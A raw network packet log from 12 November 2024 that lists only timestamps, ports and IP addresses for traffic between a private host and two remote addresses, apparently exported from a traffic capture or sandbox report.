Nov 12, 2024 15:42:13.704808950 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.704809904 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.704819918 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.704830885 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.704838037 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.704849005 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.704854965 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.704860926 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.704873085 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.704874039 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.704885006 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.704895020 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.704900026 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.704925060 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.704936981 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.706290007 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:13.708446980 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:13.732651949 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.732662916 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.732739925 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.752239943 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:13.755923033 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:13.790146112 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.790163994 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.790180922 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.790344954 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.799362898 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:13.818891048 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.818931103 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.818939924 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.818949938 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.819006920 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.819623947 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.819633961 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.819777966 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.848057032 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:13.848253965 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.848582029 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.848594904 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.848643064 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.850579023 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:13.850604057 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:13.855379105 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:13.857094049 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:13.889622927 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:13.894442081 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:13.905414104 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.905424118 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.905493021 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.934180975 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.934195995 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.934206963 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.934218884 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.934231043 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.934245110 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.934253931 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.934295893 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.935334921 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:13.963362932 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.963373899 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.963383913 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:13.963418961 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.963464022 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:13.976937056 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:13.979609966 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:13.979625940 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:13.982808113 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:13.986821890 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:14.020828962 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.020839930 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.020852089 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.020886898 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.020910978 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.022789955 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:14.026921988 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:14.049446106 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.049455881 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.049472094 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.049487114 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.049489975 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.049495935 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.049508095 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.049530983 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.071336985 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:14.078342915 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.078355074 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.078365088 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.078398943 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.078423977 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.106209040 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:14.109260082 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:14.109277964 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:14.126059055 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:14.130693913 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:14.135895014 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.135906935 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.135916948 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.135952950 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.135981083 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.155061960 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:14.157965899 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:14.164561033 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.164578915 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.164592981 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.164603949 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.164614916 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.164628983 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.164632082 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.164642096 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.164664030 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.193655968 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.193670988 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.193716049 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.199328899 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:14.248888016 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:14.251271009 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.251291037 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.251302958 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.251334906 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.251351118 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.251844883 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:14.251867056 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:14.257283926 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:14.262592077 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:14.281120062 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.281146049 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.281158924 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.281168938 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.281234026 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.281307936 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.284609079 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:14.290357113 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:14.309335947 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.309348106 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.309356928 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.309412956 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.309441090 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.331326008 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:14.366534948 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.366550922 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.366564035 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.366640091 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.378525019 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:14.383332014 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:14.383347034 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:14.395509958 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.395536900 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.395548105 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.395571947 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.395600080 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.395601988 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.395613909 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.395625114 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.395642042 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.395658970 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.401335955 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:14.403934956 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:14.424226999 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.424280882 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.424293995 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.424351931 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.447326899 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:14.481692076 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.481703043 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.481713057 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.481772900 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.510554075 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.510575056 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.510612011 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.510643959 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.514838934 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:14.566531897 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:14.566540956 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:14.569572926 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:14.569592953 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:14.570600986 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:14.570619106 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:14.584975958 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:14.590177059 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:14.631328106 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:14.655035973 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.655067921 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.655080080 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.655128002 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.655143023 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.655153990 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.655164957 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.655169964 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.655177116 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.655189037 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.655226946 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.655262947 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.655273914 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.655294895 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.655307055 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.655307055 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.655325890 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.655332088 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.655339003 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.655349970 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.655353069 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.655364037 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.655373096 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.655395985 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.699377060 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:14.702522993 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:14.702548027 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:14.712419987 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.712431908 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.712485075 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.712680101 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:14.714854002 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:14.748549938 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:14.750662088 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:14.791331053 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:14.842328072 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:14.844702959 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:14.844724894 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:14.850106955 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:14.851778030 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:14.860112906 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.860127926 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.860137939 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.860152960 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.860167027 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.860178947 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.860183954 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.860224009 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.860260010 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.860272884 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.860281944 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.860294104 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.860305071 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.860305071 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.860316992 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.860322952 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.860344887 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.860369921 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.878506899 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:14.880795002 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:14.885898113 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.885907888 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.885966063 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.923327923 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:14.943450928 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.943502903 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.943519115 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.943584919 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.971762896 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.971818924 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.972037077 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.972192049 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.972790003 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:14.974920034 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:14.974953890 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:14.975353956 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.975404024 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.975409985 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:14.975485086 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:14.984091997 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:14.985857964 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:15.001214981 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.001230001 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.001293898 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.027334929 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:15.040743113 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:15.048898935 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:15.048926115 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:15.058407068 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.058443069 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.058461905 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.058485031 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.087102890 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.087165117 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.087186098 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.087236881 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.087667942 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.087780952 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.087794065 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.087836027 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.090624094 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.090673923 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.090749025 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.090838909 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.103277922 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:15.105927944 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:15.105947971 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:15.125993013 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.126055956 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.126121044 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.126177073 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.126507998 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:15.128914118 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:15.171331882 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:15.173753023 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.173799038 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.173815966 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.173856020 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.177527905 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:15.179713011 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:15.179734945 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:15.202518940 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.202528954 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.202687025 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.203015089 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.203068972 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.203071117 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.203185081 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.205938101 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.205949068 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.206003904 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.231724977 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.231766939 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.231810093 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.231810093 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.249716043 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:15.253212929 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:15.253232002 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:15.256073952 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:15.258292913 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:15.289293051 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.289309978 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.289422035 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.299335003 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:15.309743881 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:15.312693119 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:15.312725067 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:15.320105076 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.320121050 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.320214987 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.320247889 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.320261955 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.320307016 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.323657036 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.323714018 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.323824883 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.323899031 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:15.347235918 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.347250938 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:15.347332954 CET	49794	80	192.168.2.4	185.215.113.16
